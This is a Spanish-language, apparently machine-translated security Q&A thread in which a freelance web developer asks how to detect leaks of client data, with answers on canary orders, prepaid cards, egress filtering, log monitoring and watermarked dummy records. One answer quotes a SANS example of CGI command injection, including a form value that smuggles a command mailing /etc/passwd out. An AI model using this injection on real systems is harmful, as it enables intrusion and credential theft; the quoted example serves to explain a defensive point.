¿Cómo detectaría si se han filtrado datos de clientes?

9

Soy un desarrollador web independiente muy preocupado por la seguridad (que limita con la paranoia) y pongo mucho énfasis en la seguridad con mis clientes. Lamentablemente, este no parece ser el caso para el desarrollador web promedio.

Algo que me ha estado molestando últimamente es la idea de que la gente a la que generalmente entrego los proyectos probablemente no se daría cuenta si el servidor se pusiera en peligro a menos que los atacantes alteraran algo o hicieran algún otro " MIRAR YO! " gesto. Pero si los atacantes entraban y salían silenciosamente, capturando todos los datos de los clientes, no sabrían nada. Entonces, mi pregunta es: ¿hay formas de detectar si los datos de los clientes se han filtrado mientras ya no estamos involucrados en el proyecto? (no IDS, acceso a registros, etc.)

Lo que he hecho hasta ahora es realizar pedidos en algunos de estos sitios con cadenas únicas en los campos de dirección y nota de pedido, y usar una dirección de correo electrónico diferente. He configurado las Alertas de Google para buscarlas. cadenas únicas y dirección de correo electrónico.

    
pregunta Matt 19.03.2013 - 17:58
fuente

5 respuestas

5

La supervisión de los registros de la base de datos que se publicarán es todo lo que puede hacer sin acceso directo al servidor. Puede intentar realizar una prueba de penetración en el sitio para buscar agujeros, pero es probable que sea imprudente y posiblemente ilegal según la jurisdicción y los Términos de uso del sitio y las obligaciones contractuales que pueda tener cuando lo escribió.

Si está realmente preocupado, simplemente puede pedir permiso para realizar pruebas periódicas de penetración en los sitios de antiguos clientes para garantizar que sus sitios permanezcan seguros. Si encuentra que una vulnerabilidad está expuesta en uno de ellos, puede reportársela a ellos para que puedan corregirla o hacer que venga a solucionarla.

    
respondido por el AJ Henderson 19.03.2013 - 18:34
fuente
4

Aunque no lo he hecho, no he estado contratando tanto como antes, estaba planeando obtener un montón de pequeñas tarjetas prepagadas de visa de $ 25 - $ 50 y usarlas en los sitios en los que participé. Una tarjeta por sitio.

Conserve el número de la tarjeta y, si se usa, sabrá con una certeza razonable de que se ha producido una violación en su sistema.

    
respondido por el Tim Brigham 19.03.2013 - 18:34
fuente
3

Debe tener algunas cosas configuradas de antemano para detectar la exfiltración de datos.

  1. Filtrado de egreso del cortafuegos
  2. Supervisión del ancho de banda de Netflow / snmp
  3. monitorización de registro

La supervisión del registro es particularmente importante porque su firewall y, potencialmente, también netflow también registrarán el tráfico. ¿Ha habido mucho tráfico a una URL en particular desde una IP particular? Tal vez están drenando información a través de inyección de SQL o tratando de hacerlo. ¿Alguien intentó copiar los datos en alguna máquina externa en el puerto 22? El filtrado de egreso atrapará / bloqueará eso. ¿Terminaste teniendo abierto el puerto 53 udp por alguna razón y habiendo encontrado scp bloqueado, se abrieron un túnel sobre ese puerto? El tráfico masivo sobre udp 53 será recogido por netflow. Todo esto es parte de simplemente vigilar su red.

    
respondido por el Tracy Reed 20.03.2013 - 00:35
fuente
2

OK. A veces sentirse demasiado seguro es la otra cara de la moneda. Un poco de paranoia no es realmente algo malo.

Con respecto a su pregunta, si estuviera en su lugar, tomaría las siguientes medidas para reducir el nivel de riesgo: -

  1. Realice un 'análisis de necesidad' para un * Prevención de pérdida de datos * considerando que no es la aplicación web que los usuarios finales tienen acceso a los datos, pero los usuarios privilegiados que pueden abusar de la confianza pueden filtrarse / Información privada de particulares. Basado en Prevención de pérdida de datos . El extracto dice: -

      

    ... "el control de detección por sí solo no es suficiente. Mientras que el control de detección   Proporcionaría visibilidad, el control preventivo es una necesidad para disminuir.   Fugas de datos tanto accidental como intencionalmente ".

  2. Identificar controles; teniendo en cuenta el principio básico de que cualquier control, ya sea detective o correctivo, debe construirse con el concepto de 'prevención'. Por ejemplo, un control detective que sea lo suficientemente inteligente como para detectar rápidamente las acciones incorrectas y avisar al administrador. Considere el uso de software de comprobación de integridad como tripwire u ossec.

  3. Defina una estricta política de control de acceso para limitar el abuso o ataque a la superficie de los atacantes.

  4. Realice revisiones manuales de códigos o mediante el uso de herramientas automatizadas de prueba de códigos, como appscan, que también realiza análisis dinámicos de códigos. Se deben aplicar los controles y balances necesarios para detectar accesos no autorizados, excepciones y registros de campos relacionados con la ley para el cumplimiento de la ley. También a nivel de código puede verificar la integridad a través de controles operativos como los controles de entrada / salida.
  5. Realice regularmente un ejercicio de evaluación de seguridad / evaluación de seguridad web para medir la efectividad de los controles.
  6. Realice la auditoría interna de todo el sistema, la base de datos y el front-end. Identifique los problemas relacionados con el cumplimiento y resuélvalos.
  7. Realice un seguimiento con un programa o política de conciencia de seguridad bien formado para que el usuario final permanezca atento y proactivo para identificar los ataques relacionados con su privacidad.

EJEMPLO

Un ejemplo, pero explica y complementa la discusión que estoy teniendo más arriba, especialmente con respecto a las pruebas de código manuales. El extracto es del artículo Uso del delito para informar defensa . SANS presenta la debilidad de los controles de entrada con respecto a la aplicación web de la siguiente manera: -

  

El CGI y la aplicación subyacente también están sujetos a ataques de entrada. Están sujetos a etiquetas maliciosas HTML si reescriben la web.   páginas basadas en la entrada del usuario y las variantes (secuencias de comandos entre sitios,   desbordamientos de búfer y ataques de shell) si no tienen la entrada adecuada   controles.

     

Los ejemplos más citados de violaciones de seguridad CGI involucran   manipulando un programa shell para realizar algo inesperado. los   El formulario a continuación le permite a un usuario enviar un mensaje por correo electrónico a una persona específica. por   ejemplo, la página del formulario HTML a continuación:

     

<INPUT TYPE="radio" NAME="send_to" VALUE="[email protected]">Stephen Northcutt<br>

     

El siguiente paso en el proceso es ejecutar un script que escriba el   mensaje a un archivo temporal y luego envía ese archivo por correo electrónico al archivo seleccionado   dirección. En Perl, esto podría hacerse con el comando:

     

Sistema ("/ usr / lib / sendmail -t $ send_to < $ temp_file");

     

Mientras el usuario seleccione una de las direcciones que se dan,   todo funcionará bien Sin embargo, no hay manera de estar seguro. Porque   El formulario HTML en sí ha sido transferido al cliente del usuario.   máquina, se puede editar para leer:

<INPUT TYPE="radio" NAME="send_to" VALUE="[email protected];mail [email protected]</etc/passwd">Stephen<br>
  

Tan pronto como se envíe esto, la llamada original de sendmail se detendrá en el   punto y coma, y el sistema ejecutará el siguiente comando. El siguiente   El comando enviaría el archivo de contraseña al usuario, quien luego podría   descifre y utilícelo para obtener acceso de inicio de sesión al servidor.

La estrategia SANS para detectar tales ataques

  1. Desafortunadamente, este ataque (controles de entrada) es inmune a los sistemas de detección de intrusos (IDS) basados en firmas porque se parece al tráfico de navegación web normal.
  2. El IDS basado en host puede ser capaz de detectar este ataque el uso de registros de errores de aplicaciones, el desarrollo de firmas para estos registros sería un proyecto interesante.
respondido por el Saladin 19.03.2013 - 18:46
fuente
1

La búsqueda de algunos de los datos almacenados en la base de datos es la forma más fácil de detectar una fuga de datos. También puede buscar eventos causados por la fuga de datos (por ejemplo, algunas transacciones en una tarjeta de crédito o algún correo electrónico que recibe spam).

Para hacer esto más fácil, puedes:

  • Agregue registros ficticios a la base de datos. Puede etiquetarlos (o no) como falsos para que la aplicación no los use. Pueden ser creados por la aplicación o pueden ser ingresados manualmente. Pueden ser algunos o muchos.
  • Marca de agua los registros en la base de datos. Agregar o cambiar algunos datos en algunos (o todos) registros (reales o falsos) regularmente (por ejemplo, semanalmente), de modo que si descubre un registro en la naturaleza, sabrá cuándo sucedió.
  • Para las operaciones de exportación (si su aplicación incluye funciones de exportación o copia de seguridad o incluso informes de listas completas) puede agregar huellas digitales a los datos. Esos son elementos únicos (cadenas agregadas a algunas columnas, columnas enteras o registros completos) agregados sobre la marcha para ese usuario solo por ese tiempo solamente, para que pueda descubrir a un traidor (un usuario legítimo con acceso a los datos) quien luego lo filtró).

Por ejemplo, supongamos que su aplicación crea un registro ficticio por cada mil registros reales, y cada registro tiene una dirección de correo electrónico. Además, su aplicación agrega un apellido falso a registros aleatorios usando una lista de apellidos falsos (Obviamente, su aplicación debería ignorarlos cuando se encuentre en la posición de cadena esperada). Para simplificar, supongamos que tienes un montón de dominios con cuentas de correo electrónico de todo tipo. Su aplicación cambia las direcciones de correo electrónico de esos registros ficticios mensualmente, utilizando sus dominios. Supervisa esas direcciones de correo electrónico y realiza búsquedas web automatizadas para encontrar el contenido de esos registros ficticios. Si encuentra los nombres y las direcciones de correo electrónico en la web o recibe correo no deseado en cualquiera de esas direcciones, sabrá que los datos se han filtrado.

(Debería tener mucho cuidado al usar un motor de búsqueda si alimenta a clientes / pacientes / cualquier información real, ya que puede estar infringiendo algunas leyes de privacidad, pero si la información es falsa o real, pero la suya está bien).

Si tiene recursos suficientes, también puede solicitar tarjetas de crédito / débito reales, incluirlas en sus registros ficticios y luego monitorear cualquier actividad en ellas.

Esto es para detectar una violación de datos completa (el atacante tiene toda la base de datos).

Para fugas de datos más pequeñas (de algún empleado que obtiene información de algunos registros) la solución sería diferente. Sería más útil agregar las huellas digitales a los datos.

Personalmente, he implementado la toma de huellas dactilares para varias aplicaciones (ya que había varios administradores, todos con acceso a toda la base de datos desde la aplicación), y agregando registros ficticios a un par de aplicaciones con datos de clientes (sin embargo, no hacer el monitoreo, espero que mis clientes lo estén haciendo).

    
respondido por el MV. 21.03.2013 - 14:06
fuente

Lea otras preguntas en las etiquetas